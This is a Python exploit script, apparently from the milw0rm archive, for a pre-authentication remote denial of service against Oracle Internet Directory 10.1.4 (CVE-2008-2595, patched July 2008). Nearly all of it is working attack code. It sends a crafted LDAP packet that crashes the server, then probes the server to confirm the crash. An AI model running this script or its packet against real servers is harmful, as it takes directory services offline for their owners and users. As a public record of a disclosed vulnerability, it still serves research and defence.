Oracle Internet Directory 10.1.4 - Remote Denial of Service

#!/usr/bin/python

"""
Oracle Internet Directory 10.1.4 preauthentication Denial Of Service

NOTES: Under 32 bits platforms it crashes immediately. Under 64 bits it may take even hours.
Sometimes you need 2 shoots to crash OID completely. The server "commonly" tolerates one
shoot, but even when you only send one packet it will crash.

Tested: Win2000 x86, WinXP x86, Win2003 X86_64

Vulnerability found by Joxean Koret (joxeankoret [ at ] yahoo DOT es)

Fixed: Oracle Critical Patch Update July 2008
CVEID: CVE-2008-2595
"""

import sys
import time
import socket

healthPacket = "0%\\x02\\x01\\x01c \\x04\\x00\\n\\x01\\x02\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00"
packet = "\x30\x0e\x02\x01\x01\x60\x09\x30\x01\x03\x04\x02\x44\x4e\x80\x00"

def checkHealth(hostname, port):
    print "  --> Wating 5 seconds"
    time.sleep(5)
    
    print "  --> Connecting to target..."
    socket.setdefaulttimeout(5)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))

    try:
        print "  --> Sending 'health' packet ..."
        s.sendall(healthPacket)
        print "  --> Trying to receive something..."
        data = s.recv(1024)
    except:
        err = sys.exc_info()[1]

        if int(err[0]) == 104:
            print "[+] Exploits works!"
            return

    if data != "":
        print "[!] Server is up and running :("
    else:
        print "[?] Server doesn't answer nothing. It works?"

def oidDos(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "[+] Connecting to ldap://%s:%d..." % (hostname, port)
        s.connect((hostname, int(port)))

        print "[+] Sending packet..."
        s.sendall(packet)
        s.close()

        print "[+] Checking OID's health..."
        checkHealth(hostname, port)
    except:
        print sys.exc_info()[1]

def usage():
    print "Oracle Internet Directory 10.1.4 Remote Preauthentication DOS"
    print "Copyright (c) 2007 Joxean Koret"
    print
    print "Usage:"
    print sys.argv[0],"-h<hostname> -p<port>"
    print

def main():
    if len(sys.argv) != 3:
        usage()
        sys.exit(0)
    
    hostname = None
    port = None

    i = 0
    for param in sys.argv:
        i += 1
        
        if i == 1:
            continue
        
        if param.startswith("-h"):
            hostname = param[2:]
        elif param.startswith("-p"):
            port = int(param[2:])
        else:
            print "Unknown option '%s'" % param
            usage()
            sys.exit(1)
    
    if not hostname or not port:
        print "Bad command line."
        usage()
        sys.exit(1)

    oidDos(hostname, port)

if __name__ == "__main__":
    main()

# milw0rm.com [2008-07-19]